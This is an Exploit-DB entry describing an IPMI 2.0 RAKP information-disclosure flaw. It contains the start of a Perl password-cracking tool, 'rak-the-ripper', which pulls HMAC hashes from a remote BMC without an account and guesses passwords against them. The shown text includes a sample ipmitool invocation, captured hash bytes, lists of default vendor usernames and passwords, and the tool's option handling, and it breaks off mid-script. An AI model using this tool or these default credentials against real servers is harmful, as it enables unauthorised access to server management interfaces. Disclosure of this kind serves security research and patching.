Exploit-DB #38633
Description: Intelligent Platform Management Interface - Information Disclosure
Type: remote
Platform: multiple
Date: 2013-07-02
Author: Dan Farmer

Exploit:
source: https://www.securityfocus.com/bid/61076/info

Intelligent Platform Management Interface is prone to an information-disclosure vulnerability.

Attackers can exploit this issue to obtain sensitive information that may aid password guessing attacks.

Intelligent Platform Management Interface 2.0 is vulnerable; other versions may also be affected.

#!/usr/bin/env perl
#
#  Usage: rak-the-ripper [options] target
#
# dan/zen@trouble.org - 6/19/2013
#
# Special thanks to Jarrod B Johnson (<jbjohnso@us.ibm.com>), whose
# implemention of RAKP for the xCAT project 
(http://xcat.sourceforge.net/)
# was instrumental to furthering my understanding of the issue.
#
#
# Remote IPMi password cracker; uses the RAKP 2 protocol to guess 
passwords
# from a remote BMC.  No account or information needed.
#
# Options:
#
#  -d Debug... let it all out
#  -i                   inform... every N guesses print out a status-y 
line
#  -n num-guesses sets N for -i option -p/path/to/words Use a file of 
#  passwords to guess, 1 per line -P password Use a specific password 
#  -u/path/to/users Use a file of users to guess, 1 per line -U 
#  specific-user Use a specific user, don't guess -v Verbose -version 
#  Print version #
#
# Explanation:
#
# IPMI v2, when using the RAKP protocol, uses HMAC hashes for 
authentication
# (see page 162 of the IPMI 2.0 spec for more details.)
#
# Three factors are of interest here:
#
#  1) You can test if an account exists (RAKP will generate a 
recognizable error
#     if not.)
#  2) IPMI will return a (supposedly) globally unique number for a BMC.  
This is
#     a potentially really interesting thing - identity of a system on a 
network
#     is a very difficult problem.  Unfortunately it looks like many 
vendors
#     don't implement this correctly... not sure if all 0's (a common 
value)
#     afects the strength of the HMAC, but...?
#  3) You get to extract the HMAC hash - and then run a password cracker 
on it.
#     Pretty interesting....!
#
# To start a RAKP session you can use the fine ipmitool utility (the 
"lanplus"
# argument here forces IPMI 2.0):
#
#     ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H 
192.168.0.69 chassis identify
#
# This kicks off a back-n-forth sequence with a remote BMC; for 
instance, on my iMac,
# it looks like this:
#
#               client (iMac) BMC ------------- ---- 1 get channel auth 
#         2 response 3 RMCP+ open session request 4 open session 
#         response 5 RAKP message 1 6 RAKP message 2
#
# It's in step 6 that you get the HMAC hash needed to fill in the 
details.
# Fortunately ipmitool gives you all you need.
#
# You may simply parse the verbose ipmitool output, which at one point 
will emit
# something that looks like:
#
#     >> rakp2 mac input buffer (63 bytes)
#      a4 a3 a2 a0 4c 7f fb df ec a4 a3 96 b1 d0 7e 27 cd ef 32 ae 66 cf 
#      87 b9 aa 3e 97 ed 5d 39 77 4b bc 8a c5 a9 e2 da 1d d9 35 30 30 31 
#      4d 53 00 00 00 00 00 00 00 00 00 00 14 05 41 44 4d 49 4e
#
# these bytes are, in order, the session IDs of the remote console & 
managed system,
# the remote console's random number, the managed system's random 
number,
# the managed system's GUID, the priv level, the length of the user 
name,
# and finally the user name.
#
# You simply take the HMAC of that and the password (or password guess!)
# and compare it with the key exchange auth code that the BMC has sent 
you.
#
#     <<  Key exchange auth code [sha1] : 
0xede8ec3caeb235dbad1210ef985b1b19cdb40496
#
#  Default Users:       'admin', 'USERID', 'root', 'Administrator', 
'ADMIN'
#  Default Passwords:   'PASSW0RD', 'admin', 'calvin', 'changeme', 
'opensource', 'password' use Time::HiRes; use IO::CaptureOutput 
qw/capture_exec/; use Digest::SHA qw(hmac_sha1_hex); use Getopt::Long 
qw(:config no_ignore_case); sub main::VERSION_MESSAGE {
   print "$0 0.0.1\n";
   exit;
};
sub main::HELP_MESSAGE {
   print "Usage: $0 [options] target\n".
   "\t-d\t\t\tDebug... print words as they're being guessed\n".
   "\t-i\t\t\tinform... every N guesses print out a status-y line\n".
   "\t-n num-guesses\t\tsets N for -i option\n".
   "\t-p /path/to/words\tUse a file of passwords to guess, 1 per 
line\n".
   "\t-P password\t\tUse a specific password \n".
   "\t-u /path/to/users\tUse a file of users to guess, 1 per line\n".
   "\t-U specific-user\tUse a specific user, don't guess\n".
   "\t-v\t\t\tVerbose\n".
   "\t-version\t\tPrint version #\n";
   exit;
};
GetOptions(
   'd' => \$debug,
   'h' => \$help, 'help' => \$help,
   'i' => \$inform, 'inform' => \$inform,
   'n=i' => \$Nguesses,
   'p=s' => \$password_file,
   'P=s' => \@guesses,
   'u=s' => \$user_file,
   'U=s' => \@users,
   'v' => \$verbose,
   'version' => \$version ) || die main::HELP_MESSAGE();
#
# process command line arg stuff
#
die main::HELP_MESSAGE() if (defined($help));
# the target, specified on command line
$target = $ARGV[0]; die main::HELP_MESSAGE() if ($target eq "");
# this can take awhile to finish...
print "Started at " . `date` if $verbose;
# anything > 0 and <= 20 characters would work here; ipmitool simply 
needs something $pass = "fluffy-wuffy-bunny!!";
#
# Need some passwords to guess... either from file or some defaults I 
made up
# Not going to cache these since they can blow up my poor mac's 
memory... feel
# free to change it ;)
#
if (! defined(@guesses)) {
   if ($password_file ne "") {
      open(PASSWORDS, $password_file) || die "can't open user file 
$password_file\n";
      print "opening password file $password_file\n" if $verbose;
   }
   else {
      print "using default passwords\n" if $verbose;
      @guesses = ('PASSW0RD', 'admin', 'calvin', 'changeme', 
'opensource', 'password');
   }
}
#
# need to know account name... either from file or some defaults I made 
up
#
if (! defined(@users)) {
   if